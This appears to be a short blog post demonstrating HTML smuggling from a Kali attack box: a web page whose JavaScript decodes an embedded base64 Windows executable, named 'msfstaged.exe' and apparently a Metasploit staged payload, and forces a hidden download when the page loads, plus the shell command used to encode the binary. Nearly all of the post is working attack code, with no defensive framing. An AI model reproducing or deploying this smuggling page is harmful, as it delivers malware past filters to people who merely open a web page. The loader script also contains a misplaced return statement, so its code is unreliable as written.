Saturday, 23 October 2021

HTML smuggling / Embed in HTML

 

                                                                                                                                                                                              

┌──(rootđź’€kali)-[/var/www/html]

└─# cat downloadclick.html       

<html> 

    <body> 

      <a href="/msfstaged.exe" download="msfstaged.exe">DownloadMe</a> 

   </body> 

</html> 



CODE:
<html> 
    <body>  
           <script> 
          function base64ToArrayBuffer(base64) {     
          var binary_string = window.atob(base64);
          var len = binary_string.length;    
          var bytes = new Uint8Array( len ); 
              for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); 
              return bytes.buffer; 
  
            } 
            var file ='TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAA5JBHdfUV/jn1Ff459RX+OWoMEjn5Ff459RX6Of0V/jnQ96o58RX+OdD3ujnxFf45SaWNofUV/jgAAAAAAAAAAAAAAAAAAAABQRQAAZIYDAH08xksAAAAAAAAAAPAAIwALAgEAADAAAAAQAAAAAAAAAEAAAAAQAAAAAABAAQAAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAIhDAABIAgAAXiYAAAIAAIAAABAAAAAAAAAQAAAAAAAAAAAQAAAAAAAAEAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAQQwAAbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIBDAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAE4QAAAAEAAAABIAAAAEAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAACEAAAAADAAAAACAAAAFgAAAAAAAAAAAAAAAAAAQAAAQC5qcmdiAAAAiAMAAABAAAAABAAAABgAAAA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unVGnoYAAAAA/9VNMcBTWkiJ8U0xyU0xyVNTScfCLQYYe//VhcB1H0jHwYgTAABJukTwNeAAAAAA/9VI/890Auuq6FUAAABTWWpAWkmJ0cHiEEnHwAAQAABJulikU+UAAAAA/9VIk1NTSInnSInxSInaScfAACAAAEmJ+Um6EpaJ4gAAAAD/1UiDxCCFwHSyZosHSAHDhcB10ljDWGoAWUnHwvC1olb/1ThDAAAAAAAA/////1BDAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAABeQwAAAAAAAG5DAAAAAAAAAAAAAAAAAABLRVJORUwzMi5kbGwAAFgEVmlydHVhbEFsbG9jAAAFAUV4aXRQcm9jZXNzAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==';       
            var data = base64ToArrayBuffer(file); 
            var blob = new Blob([data], {type: 'octet/stream'});
            var fileName = 'msfstaged.exe'; 
             
            var a = document.createElement('a');
            document.body.appendChild(a); 
            a.style = 'display: none'; 
            var url = window.URL.createObjectURL(blob); 
            a.href = url; 
            a.download = fileName; 
            a.click(); 
            window.URL.revokeObjectURL(url); 
        </script> 
    </body> 
</html> 

┌──(rootđź’€kali)-[/var/www/html]
└─# base64 msfstaged.exe  | tr -d \\n  






No comments:

Post a Comment